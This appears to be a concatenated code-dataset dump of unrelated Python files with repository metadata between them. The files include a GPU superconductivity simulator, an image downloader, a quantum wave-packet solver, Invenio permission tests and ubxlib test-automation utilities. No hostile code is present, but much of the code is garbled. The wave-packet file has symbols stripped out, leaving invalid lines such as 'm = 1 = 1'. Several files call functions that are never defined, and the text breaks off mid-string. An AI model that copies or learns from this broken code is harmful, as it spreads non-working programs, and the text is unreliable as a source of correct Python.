# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import numpy as np import svirl.config as cfg from svirl.storage import GArray from . import FixedVortices def gl_parameter_squared_h(self): if self.solveA: return cfg.dtype(self.gl_parameter**2) return cfg.dtype(-1.0) def _update_vector_potential(self, homogeneous_external_field, reset): assert isinstance(homogeneous_external_field, (np.floating, float, np.integer, int)) if reset: self._H = cfg.dtype(homogeneous_external_field) # TODO: need a fill method in GArray # self.a.fill(0.0) # self.b.fill(0.0) a, b = self.vars._vp.get_vec_h() a.fill(0.0) b.fill(0.0) self.vars._vp.need_htod_sync() self.vars._vp.sync() delta_H = self._H else: delta_H = - self._H self._H = cfg.dtype(homogeneous_external_field) delta_H += self._H self.vars._vp.sync() # TODO: implement GPU version of ab initialization # Possible set of gauges, A = [g*y*H, (1-g)*x*H, 0] with any g, 0 <= g <= 1 g = 0.5 _, yg = self.mesh.xy_a_grid xg, _ = self.mesh.xy_b_grid a, b = self.vars._vp.get_vec_h() a -= g * (yg - 0.5*cfg.Ly) * delta_H b += (1.0 - g) * (xg - 0.5*cfg.Lx) * delta_H self.vars._vp.need_htod_sync() self.vars._vp.sync() def _homogeneous_external_field_delta(self, homogeneous_external_field): self._update_vector_potential(homogeneous_external_field, reset=False) homogeneous_external_field_delta = property( fset = _homogeneous_external_field_delta, doc = """Sets homogeneous external field, H, and adds to the vector potential deltaA, satisfying curl(deltaA) = deltaH, where deltaH = H - Hold and Hold is homogeneous external field before update.""") homogeneous_external_field_reset = property( fset = _homogeneous_external_field_reset, doc = """Sets homogeneous external field, H, and sets vector potential, A, satisfying curl(A) = H.""") def _update_gvpei(self): """Sets self.gvpei = (self.ae, self.be) + (ai, bi). To be executed in self.external_vector_potential and self.fixed_vortices setters.""" assert (self.ae is None) == (self.be is None) ai, bi = None, None if self.fixed_vortices is not None and self.fixed_vortices._vpi is not None: ai, bi = self.fixed_vortices._vpi.get_vec_h() assert (ai is None) == (bi is None) vpei = None if self.ae is not None: if ai is not None: vpei = (self.ae + ai, self.be + bi) else: vpei = (self.ae, self.be) else: vpei = (ai, bi) if self._vpei is not None and vpei is None: self._vpei.free() self._vpei = None else: #TODO: easier if GArray supports like for vector storage shapes = [vpei[0].shape, vpei[1].shape] self._vpei = GArray(shape = shapes, dtype = cfg.dtype) self._vpei.set_vec_h(vpei[0], vpei[1]) self._vpei.sync() def external_irregular_vector_potential_h(self): if self._vpei is not None: return self._vpei.get_d_obj() return np.uintp(0)

31.939024

132

0.616648

ddd3cf7e6c6e22a81fc4f44dcb742ce19a9d4e7a

1,570

py

Python

src/2_save_images.py

Irio/photoshopped-or-not

70ae1a2e7e54003d916b501f8d9e020c13ca6c98

[ "MIT" ]

77

2016-07-13T13:36:55.000Z

2022-02-25T07:49:38.000Z

src/2_save_images.py

goldservice2017/FakeImageDetection

e7f618989d004e24444854df63d9f1c408d0463f

[ "MIT" ]

1

2017-07-11T10:28:36.000Z

src/2_save_images.py

goldservice2017/FakeImageDetection

e7f618989d004e24444854df63d9f1c408d0463f

[ "MIT" ]

20

2016-10-23T14:57:19.000Z

2022-03-21T13:32:45.000Z

from hashlib import sha256 from helpers import load_dataset import numpy as np import os import pandas as pd import requests import sys import time import urllib.request CSV_PATH = sys.argv[1] URL_COLUMN = sys.argv[2] PATH = sys.argv[3] if not os.path.exists(PATH): os.mkdir(PATH) dataset = load_dataset(CSV_PATH) dataset[URL_COLUMN] = dataset[URL_COLUMN].astype(np.str).replace({'nan': None}) dataset['file_names'] = dataset[URL_COLUMN].map(url_to_file_name) already_downloaded = dataset['file_names'].isin(os.listdir(PATH)) without_url = dataset[URL_COLUMN].isnull() remaining_images = dataset[~(already_downloaded | without_url)] print('Remaining: %i' % len(remaining_images)) for index, values in remaining_images.iterrows(): url = dict(values)[URL_COLUMN] file_path = '%s/%s' % (PATH, url_to_file_name(url)) time.sleep(1) download_image(url, file_path)

30.784314

83

0.66051

ddd71b2e4c6346f49e71518346e30e3f595d4613

1,169

py

Python

lf3py/task/data.py

rog-works/lf3py

e89937f7aa133ed54d85764f06101ab9abf6b960

[ "CNRI-Python" ]

null

lf3py/task/data.py

rog-works/lf3py

e89937f7aa133ed54d85764f06101ab9abf6b960

[ "CNRI-Python" ]

48

2020-12-19T13:47:26.000Z

2021-01-07T22:27:56.000Z

lf3py/task/data.py

rog-works/lf3py

e89937f7aa133ed54d85764f06101ab9abf6b960

[ "CNRI-Python" ]

null

from abc import ABCMeta, abstractmethod from dataclasses import dataclass from typing import Any, List, Type, TypeVar from lf3py.lang.dsn import DSN from lf3py.serialization.serializer import DictSerializer, Serializer T_OBJ = TypeVar('T_OBJ') Ok = Result()

21.648148

69

0.662104

ddd7b262ec09a987c21172c82cd032e817c1ba5b

801

py

Python

quapy/method/__init__.py

valgur/QuaPy

6b1ba4886a1d64b086829306cbba689cdcfd60e8

[ "BSD-3-Clause" ]

34

2021-01-06T14:01:06.000Z

2022-03-08T06:59:04.000Z

quapy/method/__init__.py

valgur/QuaPy

6b1ba4886a1d64b086829306cbba689cdcfd60e8

[ "BSD-3-Clause" ]

4

2021-06-07T07:45:57.000Z

2021-06-21T11:16:10.000Z

quapy/method/__init__.py

valgur/QuaPy

6b1ba4886a1d64b086829306cbba689cdcfd60e8

[ "BSD-3-Clause" ]

6

2021-06-07T10:08:17.000Z

2022-03-07T13:42:15.000Z

from . import aggregative from . import base from . import meta from . import non_aggregative EXPLICIT_LOSS_MINIMIZATION_METHODS = { aggregative.ELM, aggregative.SVMQ, aggregative.SVMAE, aggregative.SVMKLD, aggregative.SVMRAE, aggregative.SVMNKLD } AGGREGATIVE_METHODS = { aggregative.CC, aggregative.ACC, aggregative.PCC, aggregative.PACC, aggregative.EMQ, aggregative.HDy, aggregative.X, aggregative.T50, aggregative.MAX, aggregative.MS, aggregative.MS2, } | EXPLICIT_LOSS_MINIMIZATION_METHODS NON_AGGREGATIVE_METHODS = { non_aggregative.MaximumLikelihoodPrevalenceEstimation } META_METHODS = { meta.Ensemble, meta.QuaNet } QUANTIFICATION_METHODS = AGGREGATIVE_METHODS | NON_AGGREGATIVE_METHODS | META_METHODS

18.627907

85

0.741573

ddd886a1ce049e2677d31fc3b30fe240938605cc

208

py

Python

day 5 2nd.py

shalini-22/Letsupgrade-Python-essentials

fda98097be08dbb9bfbba6e0622954c6eba0f7f3

[ "MIT" ]

null

day 5 2nd.py

shalini-22/Letsupgrade-Python-essentials

fda98097be08dbb9bfbba6e0622954c6eba0f7f3

[ "MIT" ]

null

day 5 2nd.py

shalini-22/Letsupgrade-Python-essentials

fda98097be08dbb9bfbba6e0622954c6eba0f7f3

[ "MIT" ]

null

lst_prime=list(filter(prime_num,range(1,2500))) print(len(lst_prime))

26

48

0.533654

ddd9ee0a17827daaf5df8b02b71f681e46b3a8a2

916

py

Python

OT/test_subplots.py

pine2104/Python_for_Lab

571398c2422711d8a74f9c95a746537859458557

[ "MIT" ]

5

2022-02-03T20:10:21.000Z

2022-03-30T08:05:10.000Z

OT/test_subplots.py

pine2104/Python_for_Lab

571398c2422711d8a74f9c95a746537859458557

[ "MIT" ]

null

OT/test_subplots.py

pine2104/Python_for_Lab

571398c2422711d8a74f9c95a746537859458557

[ "MIT" ]

null

from EM_Algorithm.gen_gauss import gen_gauss from EM_Algorithm.gen_poisson import gen_poisson import numpy as np import matplotlib.pyplot as plt x = gen_gauss([8],[2],[1000]) y = gen_poisson([1],[1000]) fig = plt.figure(figsize=(8, 8)) # Add a gridspec with two rows and two columns and a ratio of 2 to 7 between # the size of the marginal axes and the main axes in both directions. # Also adjust the subplot parameters for a square plot. gs = fig.add_gridspec(2, 2, width_ratios=(7, 2), height_ratios=(2, 7), left=0.1, right=0.9, bottom=0.1, top=0.9, wspace=0.05, hspace=0.05) ax = fig.add_subplot(gs[1, 0]) ax.scatter(x, y) ax_histx = fig.add_subplot(gs[0, 0], sharex=ax) ax_histy = fig.add_subplot(gs[1, 1], sharey=ax) ax_histx.hist(x, bins=10, color='grey', edgecolor="white") ax_histy.hist(y, bins=10, orientation='horizontal', color='grey', edgecolor="white")

35.230769

84

0.689956

ddda6ce0c1f2ddd975f7aba52a0da244fa436a75

2,114

py

Python

code/examples/VsevolodTymofyeyev2/example.py

TrackerSB/MasterThesis

2792203d28d6c7b62f54545344ee6772d2ec5b64

[ "MIT" ]

null

code/examples/VsevolodTymofyeyev2/example.py

TrackerSB/MasterThesis

2792203d28d6c7b62f54545344ee6772d2ec5b64

[ "MIT" ]

null

code/examples/VsevolodTymofyeyev2/example.py

TrackerSB/MasterThesis

2792203d28d6c7b62f54545344ee6772d2ec5b64

[ "MIT" ]

null

import os from threading import Thread from typing import List from aiExchangeMessages_pb2 import SimulationID, TestResult if __name__ == "__main__": from AIExchangeService import get_service from aiExchangeMessages_pb2 import SimStateResponse, Control, SimulationID, VehicleID, DataRequest service = get_service() # Send tests sids = service.run_tests("test", "test", "xmls/criteriaA.dbc.xml", "xmls/environmentA.dbe.xml") # -> Response status: 500 print("Tests sent") # Interact with a simulation if not sids: exit(1) sid = SimulationID() sid.sid = sids.sids[0] ego_requests = ["egoSpeed"] ego_vehicle = Thread(target=_handle_vehicle, args=(sid, "ego", ego_requests)) ego_vehicle.start() ego_vehicle.join()

33.555556

102

0.638127

dddd2ef86d68662ac04401af3b7b61b4ab5cb9ed

1,916

py

Python

rfap.py

anabanami/RFAP

09b434d115ae1872810d65126bcbc9d7af510e89

[ "MIT" ]

null

rfap.py

anabanami/RFAP

09b434d115ae1872810d65126bcbc9d7af510e89

[ "MIT" ]

null

rfap.py

anabanami/RFAP

09b434d115ae1872810d65126bcbc9d7af510e89

[ "MIT" ]

null

# PHS3350 # Week 2 - wave packet and RFAP - # "what I cannot create I cannot understand" - R. Feynman. # Ana Fabela Hinojosa, 13/03/2021 import os from pathlib import Path import numpy as np import matplotlib import matplotlib.pyplot as plt import physunits from scipy.fft import fft, ifft plt.rcParams['figure.dpi'] = 200 folder = Path('wavepacket_time_evolution') os.makedirs(folder, exist_ok=True) os.system(f'rm {folder}/*.png') # hbar = 1.0545718e-34 # [Js] hbar = 1 m = 1 = 1 x_max = 10 x = np.linspace(-x_max, x_max, 1024, endpoint=False) n = x.size x_step = x[1] - x[0] # oscillations per unit of space k0 = 2 * np.pi / x_max * 5 # For Fourier space k = 2 * np.pi * np.fft.fftfreq(n, x_step) wave = np.exp(- x**2 / (2***2)) * np.exp(1j*k0*x) # Square well potential sw = np.zeros_like(x) # depth sw[0] = sw[-1] = 1000*k0**2 # Schrodinger equation (or first order time derivarive) def Schrodinger_eqn(t, ): r = np.linspace(0, x_max, 1024, endpoint=False) K = -hbar**2/(2 * m) * ifft(-(k**2) * fft()) V = sw * # I dunno #+ (-1j / hbar) * 1j*x**3 * return (-1j / hbar) * (K + V) def Runge_Kutta(t, delta_t, ): k1 = Schrodinger_eqn(t, ) k2 = Schrodinger_eqn(t + delta_t / 2, + k1 * delta_t / 2) k3 = Schrodinger_eqn(t + delta_t / 2, + k2 * delta_t / 2) k4 = Schrodinger_eqn(t + delta_t, + k3 * delta_t) return + (delta_t / 6) * (k1 + 2 * k2 + 2 * k3 + k4) i = 0 t = 0 t_final = 5 delta_t = 0.0001 while t < t_final: if not i % 400: plt.plot(x, np.real(wave), label="real part") plt.plot(x, np.imag(wave), label="imaginary part") plt.xlim(-x_max, x_max) plt.legend() plt.xlabel("x") plt.title(f"wave packet t = {i}") plt.savefig(folder/f'{i:04d}.png') # plt.show() plt.clf() wave = Runge_Kutta(t, delta_t, wave) i += 1 t += delta_t

23.95

64

0.598643

dddf4b825918a14f6e6549a6e8c4a604f9609cd9

295

py

Python

tests/test_pass.py

zaber-paul/base

9c4d4e40db7a5059dcaa32d44be0146b6bb829c4

[ "Apache-2.0" ]

null

tests/test_pass.py

zaber-paul/base

9c4d4e40db7a5059dcaa32d44be0146b6bb829c4

[ "Apache-2.0" ]

null

tests/test_pass.py

zaber-paul/base

9c4d4e40db7a5059dcaa32d44be0146b6bb829c4

[ "Apache-2.0" ]

null

""" run with nosetests -v --nocapture or nosetests -v """ from builtins import object from cloudmesh_base.util import HEADING

11.8

39

0.630508

dde27c4c382b986590140f153b007830bdfd2e36

3,725

py

Python

tests/api/test_record_permissions.py

equadon/invenio-app-ils

42ba282968d0aa28fb1bfc71d0709685165aaec4

[ "MIT" ]

null

tests/api/test_record_permissions.py

equadon/invenio-app-ils

42ba282968d0aa28fb1bfc71d0709685165aaec4

[ "MIT" ]

null

tests/api/test_record_permissions.py

equadon/invenio-app-ils

42ba282968d0aa28fb1bfc71d0709685165aaec4

[ "MIT" ]

null

# -*- coding: utf-8 -*- # # Copyright (C) 2018-2019 CERN. # # invenio-app-ils is free software; you can redistribute it and/or modify it # under the terms of the MIT License; see LICENSE file for more details. """Test record permissions.""" from __future__ import unicode_literals import uuid import pytest from flask_principal import RoleNeed, identity_loaded from flask_security import login_user from invenio_access.models import ActionRoles from invenio_accounts.models import Role, User from invenio_records.api import Record from invenio_app_ils.records.permissions import RecordPermission, \ create_records_action

33.863636

77

0.633289

dde28d401374fdc16a1d1b838ec6fd235235e1cc

945

py

Python

src/Index.py

bhed01/bhed01.github.io

132cf8e4afa05a00d71555afa2002a2d50c304c8

[ "MIT" ]

3

2020-10-16T12:26:31.000Z

2022-02-03T18:06:35.000Z

src/Index.py

bhed01/bhed01.github.io

132cf8e4afa05a00d71555afa2002a2d50c304c8

[ "MIT" ]

null

src/Index.py

bhed01/bhed01.github.io

132cf8e4afa05a00d71555afa2002a2d50c304c8

[ "MIT" ]

null

from .components.Head import Head from .components.NavIcons import Hamburger from .components.Screens import HomeScreen, AboutScreen, ProjectsScreen from .components.Footer import Footer from .utils import JSON_DIR from json import load import os

32.586207

72

0.649735

dde2faa4056b42852281bc2be32673929adfef2b

5,190

py

Python

bisk/features/base.py

facebookresearch/bipedal-skills

edd424a8779e3a0121fb995cad00839d8226cf46

[ "MIT" ]

6

2021-11-05T16:57:58.000Z

2022-03-16T10:34:46.000Z

bisk/features/base.py

facebookresearch/bipedal-skills

edd424a8779e3a0121fb995cad00839d8226cf46

[ "MIT" ]

null

bisk/features/base.py

facebookresearch/bipedal-skills

edd424a8779e3a0121fb995cad00839d8226cf46

[ "MIT" ]

1

2021-11-05T16:57:47.000Z

# Copyright (c) 2021-present, Facebook, Inc. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # import logging from typing import Dict, List import gym import numpy as np from dm_control import mujoco from dm_control.mujoco.wrapper.mjbindings import enums as mjenums from dm_control.mujoco.wrapper.mjbindings import mjlib log = logging.getLogger(__name__)

36.293706

76

0.511753

dde38c8eda97903a41ce2ff61801ff8773e4a599

1,124

py

Python

dns.py

bernd-wechner/OpenWRT-Tools

4ca2eb0d0774e0d97b48a485fa18a4d4bbc3f108

[ "Unlicense" ]

3

2017-06-12T11:03:56.000Z

2021-04-11T20:09:47.000Z

dns.py

bernd-wechner/OpenWRT-Tools

4ca2eb0d0774e0d97b48a485fa18a4d4bbc3f108

[ "Unlicense" ]

null

dns.py

bernd-wechner/OpenWRT-Tools

4ca2eb0d0774e0d97b48a485fa18a4d4bbc3f108

[ "Unlicense" ]

1

2021-08-25T02:39:40.000Z

#!/usr/bin/python # # identify the DNS servers used on the WAN interface. # # Tries to find the owner of the DNS as well. # # DNS spoofing is one of the entry points for malware. I haven't seen it since I dumped # Windows at home but in past have seen malware that would change the DNS config on # the router. Kind of hand to see a name attached to the IP addresses then and most of # us wouldn't recognize an IP address, will recognize a name. import json, subprocess, os devnull = open(os.devnull, 'w') wan_status = get_wan_status() if wan_status: dns_servers = wan_status["dns-server"] print "DNS Servers on WAN interface:" n = 1 for dns in dns_servers: owner = get_owner(dns) print "\tDNS %d: %s\t%s" % (n, dns, owner) n += 1

30.378378

109

0.669929

dde5915014c5c7fff2dcda09f7e0ecc75334cecc

398

py

Python

downloadHSfiles.py

McDowellLab/downloadNEON

b43d47d40cbf0e168dfa307969687025e3f5fa34

[ "MIT" ]

null

downloadHSfiles.py

McDowellLab/downloadNEON

b43d47d40cbf0e168dfa307969687025e3f5fa34

[ "MIT" ]

null

downloadHSfiles.py

McDowellLab/downloadNEON

b43d47d40cbf0e168dfa307969687025e3f5fa34

[ "MIT" ]

null

from hs_restclient import HydroShare, HydroShareAuthBasic # Download LCZO sesnor database from Hydroshare # link to the Hydroshare resource https://www.hydroshare.org/resource/b38bc00887ec45ac9499f9dea45eb8d5/ auth = HydroShareAuthBasic(username="miguelcleon", password = "x") hs = HydroShare(auth = auth) hs.getResource('b38bc00887ec45ac9499f9dea45eb8d5', destination='./lczodata', unzip=True)

39.8

103

0.81407

dde641d979074c8c01c9f5c1fbef8f55228ae8fe

339

py

Python

protonfixes/gamefixes/287260.py

bmaupin/protonfixes

9fc87a9a487d7dfbd0c602a079f3b026f8a84638

[ "BSD-2-Clause" ]

213

2018-10-06T01:40:26.000Z

2022-03-16T16:17:37.000Z

protonfixes/gamefixes/287260.py

bmaupin/protonfixes

9fc87a9a487d7dfbd0c602a079f3b026f8a84638

[ "BSD-2-Clause" ]

88

2018-10-06T17:38:56.000Z

2022-02-19T13:27:26.000Z

protonfixes/gamefixes/287260.py

bmaupin/protonfixes

9fc87a9a487d7dfbd0c602a079f3b026f8a84638

[ "BSD-2-Clause" ]

67

2018-10-09T16:57:16.000Z

2022-03-14T13:06:25.000Z

""" Game fix for Toybox Turbos """ #pylint: disable=C0103 from protonfixes import util from protonfixes.logger import log def main(): """ Changes the proton argument from the launcher to the game """ log('Applying fixes for Toybox Turbos') # Fix infinite startup screen util.set_environment('PROTON_NO_ESYNC', '1')

21.1875

65

0.707965

dde74c584ce2a956ca4842502658de5be6e68e74

4,035

py

Python

systrade/models/strategies.py

pdghawk/systrade

2200b950a3172f22a424c9e547aa6fa982f54c46

[ "BSD-3-Clause" ]

1

2022-02-09T20:16:51.000Z

systrade/models/strategies.py

pdghawk/systrade

2200b950a3172f22a424c9e547aa6fa982f54c46

[ "BSD-3-Clause" ]

null

systrade/models/strategies.py

pdghawk/systrade

2200b950a3172f22a424c9e547aa6fa982f54c46

[ "BSD-3-Clause" ]

null

""" The strategies module provides utilities for designing trading strategies Notes ------ All strategies should inherit from BaseStrategy, and provide a get_order_list method. For details of the requirements of this method, see its docstring in base/BaseStrategy, or in the method within SimpleStrategy in this module. """ import copy import pandas as pd import numpy as np import time as timer import matplotlib.pyplot as plt from .base import BaseStrategy # TODO: extend strategy types # examples - how the signals are combined - could be done in many ways # should check whether indivdual positions should be exited (been held at a loss too long) # eg buy and simultaneously do a sell_limit for same_quantity or something # portfolio re-optimization movements (modern portfolio theory) n.b maximise # expected returns whilst minimising the portoflio variance

44.340659

91

0.601983

dde864bb1233daa956ab699eaa628d9606c4448f

144

py

Python

ParkFinder/Parks/migrations/__init__.py

Krause2023/CS224-ParkFinder-Web_App

ccfa2faf61d6adb300f319ae11dd983483451410

[ "MIT" ]

1

2021-12-22T16:00:36.000Z

ParkFinder/Parks/migrations/__init__.py

Krause2023/CS224-ParkFinder-Web_App

ccfa2faf61d6adb300f319ae11dd983483451410

[ "MIT" ]

null

ParkFinder/Parks/migrations/__init__.py

Krause2023/CS224-ParkFinder-Web_App

ccfa2faf61d6adb300f319ae11dd983483451410

[ "MIT" ]

null

# Create your migrations here. # WILL USE THIS LATER IF/WHEN YOU CREATE A DATABASE AND USER ACCOUNTS - THIS MAY BE IN A DIFFERENT APP AS WELL!!!

72

113

0.756944

ddea0dbcc4c809d7b5a35e5b2781bf028ff2f764

140

py

Python

tests/framework/Optimizers/Infinite/infinite.py

milljm/raven

5f29fe81b75e2ffbeb54a55aa63647e7b2f6457b

[ "Apache-2.0" ]

2

2019-10-11T15:59:10.000Z

2021-04-08T18:23:57.000Z

tests/framework/Optimizers/Infinite/infinite.py

milljm/raven

5f29fe81b75e2ffbeb54a55aa63647e7b2f6457b

[ "Apache-2.0" ]

1

2018-03-27T13:06:00.000Z

tests/framework/Optimizers/Infinite/infinite.py

milljm/raven

5f29fe81b75e2ffbeb54a55aa63647e7b2f6457b

[ "Apache-2.0" ]

1

2017-08-29T16:09:13.000Z

import numpy as np

15.555556

39

0.592857

ddea413a66b41dee24d47cda24474b0ccba4f292

1,955

py

Python

pyinterfaces/enum/ENUM_USAGE.py

OaklandPeters/pyinterfaces

c60efaad92e8d2e1ec25df718dfb43f034a083bb

[ "MIT" ]

null

pyinterfaces/enum/ENUM_USAGE.py

OaklandPeters/pyinterfaces

c60efaad92e8d2e1ec25df718dfb43f034a083bb

[ "MIT" ]

null

pyinterfaces/enum/ENUM_USAGE.py

OaklandPeters/pyinterfaces

c60efaad92e8d2e1ec25df718dfb43f034a083bb

[ "MIT" ]

null

""" Provides example of how I would like `enum` to be used. Implementation details: (1) Uses Metaclass for two reasons: (1.1) So that the subclasses can be iterable (we want class objects, not instance objects) (1.2) To automatically collect Enumeratee enum.Enumerator EnumSet, Partition, Basis Product of all possibilities... An alternative term, mathematically correct, but misleading, would be 'Partition' Another alternative term: Basis (as of, group of independent vectors). Note, a basis is a 'linearly independent spanning set'. enum.Enumeratee EnumCase, Dimension @todo: Handle issue: How are the cases ordered? In Python 3, there is a mechanism for preserving the order of metaclasses. (see https://www.python.org/dev/peps/pep-3115/) """ import ENUM_STUBS as enum # Cases in Enumerator: Directly referencable via attribute name str(Beatles.John) == "John Lennon" # Cases: equality based on descriptor's return Beatles.John == "John Lennon" Beatles.Paul == "Paul McCartney" Beatles.George == "George Harrison" Beatles.Ringo == "Ringo Starr" # Iterable: returns cases iterator = iter(Beatles) iterator.next() == Beatles.John iterator.next() == Beatles.George iterator.next() == Beatles.Paul iterator.next() == Beatles.Ringo # Cases: returns case methods with names # ... no particular order imposed here ("John", Beatles.John) Beatles.cases == (("John", "John Lennon"))

29.621212

130

0.707417

ddebffcf3d40adc0208ac8b35c967b6d0551178a

38,079

py

Python

port/platform/common/automation/u_utils.py

stephanboner/ubxlib

64025c5760771ac2accd09f9f176693c7add2919

[ "Apache-2.0" ]

null

port/platform/common/automation/u_utils.py

stephanboner/ubxlib

64025c5760771ac2accd09f9f176693c7add2919

[ "Apache-2.0" ]

null

port/platform/common/automation/u_utils.py

stephanboner/ubxlib

64025c5760771ac2accd09f9f176693c7add2919

[ "Apache-2.0" ]

null

#!/usr/bin/env python '''Generally useful bits and bobs.''' import queue # For PrintThread and exe_run from time import sleep, time, gmtime, strftime # For lock timeout, exe_run timeout and logging import threading # For PrintThread import os # For ChangeDir, has_admin import stat # To help deltree out from telnetlib import Telnet # For talking to JLink server import socket import shutil # To delete a directory tree import signal # For CTRL_C_EVENT import subprocess import platform # Figure out current OS import serial # Pyserial (make sure to do pip install pyserial) import psutil # For killing things (make sure to do pip install psutil) import u_settings # How long to wait for an install lock in seconds INSTALL_LOCK_WAIT_SECONDS = u_settings.INSTALL_LOCK_WAIT_SECONDS #(60 * 60) # The URL for Unity, the unit test framework UNITY_URL = u_settings.UNITY_URL #"https://github.com/ThrowTheSwitch/Unity" # The sub-directory that Unity is usually put in # (off the working directory) UNITY_SUBDIR = u_settings.UNITY_SUBDIR #"Unity" # The path to DevCon, a Windows tool that allows # USB devices to be reset, amongst other things DEVCON_PATH = u_settings.DEVCON_PATH #"devcon.exe" # The path to jlink.exe (or just the name 'cos it's on the path) JLINK_PATH = u_settings.JLINK_PATH #"jlink.exe" # The port number for SWO trace capture out of JLink JLINK_SWO_PORT = u_settings.JLINK_SWO_PORT #19021 # The port number for GDB control of ST-LINK GDB server STLINK_GDB_PORT = u_settings.STLINK_GDB_PORT #61200 # The port number for SWO trace capture out of ST-LINK GDB server STLINK_SWO_PORT = u_settings.STLINK_SWO_PORT #61300 # The format string passed to strftime() # for logging prints TIME_FORMAT = u_settings.TIME_FORMAT #"%Y-%m-%d_%H:%M:%S" # The default guard time waiting for a platform lock in seconds PLATFORM_LOCK_GUARD_TIME_SECONDS = u_settings.PLATFORM_LOCK_GUARD_TIME_SECONDS #60 * 60 # The default guard time for downloading to a target in seconds DOWNLOAD_GUARD_TIME_SECONDS = u_settings.DOWNLOAD_GUARD_TIME_SECONDS #60 # The default guard time for running tests in seconds RUN_GUARD_TIME_SECONDS = u_settings.RUN_GUARD_TIME_SECONDS #60 * 60 # The default inactivity timer for running tests in seconds RUN_INACTIVITY_TIME_SECONDS = u_settings.RUN_INACTIVITY_TIME_SECONDS #60 * 5 # The name of the #define that forms the filter string # for which tests to run FILTER_MACRO_NAME = u_settings.FILTER_MACRO_NAME #"U_CFG_APP_FILTER" # The time for which to wait for something from the # queue in exe_run(). If this is too short, in a # multiprocessing world or on a slow machine, it is # possible to miss things as the task putting things # on the queue may be blocked from doing so until # we've decided the queue has been completely emptied # and moved on EXE_RUN_QUEUE_WAIT_SECONDS = u_settings.EXE_RUN_QUEUE_WAIT_SECONDS #1 def subprocess_osify(cmd): ''' expects an array of strings being [command, param, ...] ''' if platform.system() == "Linux": return [ ' '.join(cmd) ] return cmd def get_actual_path(path): '''Given a drive number return real path if it is a subst''' actual_path = path # Get a list of substs text = subprocess.check_output("subst", stderr=subprocess.STDOUT, shell=True) # Jenkins hangs without this for line in text.splitlines(): # Lines should look like this: # Z:\: => C:\projects\ubxlib_priv # So, in this example, if we were given z:\blah # then the actual path should be C:\projects\ubxlib_priv\blah text = line.decode() bits = text.rsplit(": => ") if (len(bits) > 1) and (len(path) > 1) and \ (bits[0].lower()[0:2] == path[0:2].lower()): actual_path = bits[1] + path[2:] break return actual_path def get_instance_text(instance): '''Return the instance as a text string''' instance_text = "" for idx, item in enumerate(instance): if idx == 0: instance_text += str(item) else: instance_text += "." + str(item) return instance_text def remove_readonly(func, path, exec_info): '''Help deltree out''' del exec_info os.chmod(path, stat.S_IWRITE) func(path) def deltree(directory, printer, prompt): '''Remove an entire directory tree''' tries = 2 success = False if os.path.isdir(directory): # Retry this as sometimes Windows complains # that the directory is not empty when it # it really should be, some sort of internal # Windows race condition while not success and (tries > 0): try: # Need the onerror bit on Winders, seek # this Stack Overflow post: # https://stackoverflow.com/questions/1889597/deleting-directory-in-python shutil.rmtree(directory, onerror=remove_readonly) success = True except OSError as ex: printer.string("{}ERROR unable to delete \"{}\" {}: \"{}\"". format(prompt, directory, ex.errno, ex.strerror)) tries -= 1 else: success = True return success # Check if admin privileges are available, from: # https://stackoverflow.com/questions/2946746/python-checking-if-a-user-has-administrator-privileges def has_admin(): '''Check for administrator privileges''' admin = False if os.name == 'nt': try: # only Windows users with admin privileges can read the C:\windows\temp if os.listdir(os.sep.join([os.environ.get("SystemRoot", "C:\\windows"), "temp"])): admin = True except PermissionError: pass else: # Pylint will complain about the following line but # that's OK, it is only executed if we're NOT on Windows # and there the geteuid() method will exist if "SUDO_USER" in os.environ and os.geteuid() == 0: admin = True return admin # Reset a USB port with the given Device Description def usb_reset(device_description, printer, prompt): ''' Reset a device''' instance_id = None found = False success = False try: # Run devcon and parse the output to find the given device printer.string("{}running {} to look for \"{}\"...". \ format(prompt, DEVCON_PATH, device_description)) cmd = [DEVCON_PATH, "hwids", "=ports"] text = subprocess.check_output(subprocess_osify(cmd), stderr=subprocess.STDOUT, shell=True) # Jenkins hangs without this for line in text.splitlines(): # The format of a devcon entry is this: # # USB\VID_1366&PID_1015&MI_00\6&38E81674&0&0000 # Name: JLink CDC UART Port (COM45) # Hardware IDs: # USB\VID_1366&PID_1015&REV_0100&MI_00 # USB\VID_1366&PID_1015&MI_00 # Compatible IDs: # USB\Class_02&SubClass_02&Prot_00 # USB\Class_02&SubClass_02 # USB\Class_02 # # Grab what we hope is the instance ID line = line.decode() if line.startswith("USB"): instance_id = line else: # If the next line is the Name we want then we're done if instance_id and ("Name: " + device_description in line): found = True printer.string("{}\"{}\" found with instance ID \"{}\"". \ format(prompt, device_description, instance_id)) break instance_id = None if found: # Now run devcon to reset the device printer.string("{}running {} to reset device \"{}\"...". \ format(prompt, DEVCON_PATH, instance_id)) cmd = [DEVCON_PATH, "restart", "@" + instance_id] text = subprocess.check_output(subprocess_osify(cmd), stderr=subprocess.STDOUT, shell=False) # Has to be False or devcon won't work for line in text.splitlines(): printer.string("{}{}".format(prompt, line.decode())) success = True else: printer.string("{}device with description \"{}\" not found.". \ format(prompt, device_description)) except subprocess.CalledProcessError: printer.string("{} unable to find and reset device.".format(prompt)) return success # Open the required serial port. def open_serial(serial_name, speed, printer, prompt): '''Open serial port''' serial_handle = None text = "{}: trying to open \"{}\" as a serial port...". \ format(prompt, serial_name) try: return_value = serial.Serial(serial_name, speed, timeout=0.05) serial_handle = return_value printer.string("{} opened.".format(text)) except (ValueError, serial.SerialException) as ex: printer.string("{}{} while accessing port {}: {}.". format(prompt, type(ex).__name__, serial_handle.name, str(ex))) return serial_handle def open_telnet(port_number, printer, prompt): '''Open telnet port on localhost''' telnet_handle = None text = "{}trying to open \"{}\" as a telnet port on localhost...". \ format(prompt, port_number) try: telnet_handle = Telnet("localhost", int(port_number), timeout=5) if telnet_handle is not None: printer.string("{} opened.".format(text)) else: printer.string("{} failed.".format(text)) except (socket.error, socket.timeout, ValueError) as ex: printer.string("{}{} failed to open telnet {}: {}.". format(prompt, type(ex).__name__, port_number, str(ex))) return telnet_handle def install_lock_acquire(install_lock, printer, prompt): '''Attempt to acquire install lock''' timeout_seconds = INSTALL_LOCK_WAIT_SECONDS success = False if install_lock: printer.string("{}waiting for install lock...".format(prompt)) while not install_lock.acquire(False) and (timeout_seconds > 0): sleep(1) timeout_seconds -= 1 if timeout_seconds > 0: printer.string("{}got install lock.".format(prompt)) success = True else: printer.string("{}failed to aquire install lock.".format(prompt)) else: printer.string("{}warning, there is no install lock.".format(prompt)) return success def install_lock_release(install_lock, printer, prompt): '''Release install lock''' if install_lock: install_lock.release() printer.string("{}install lock 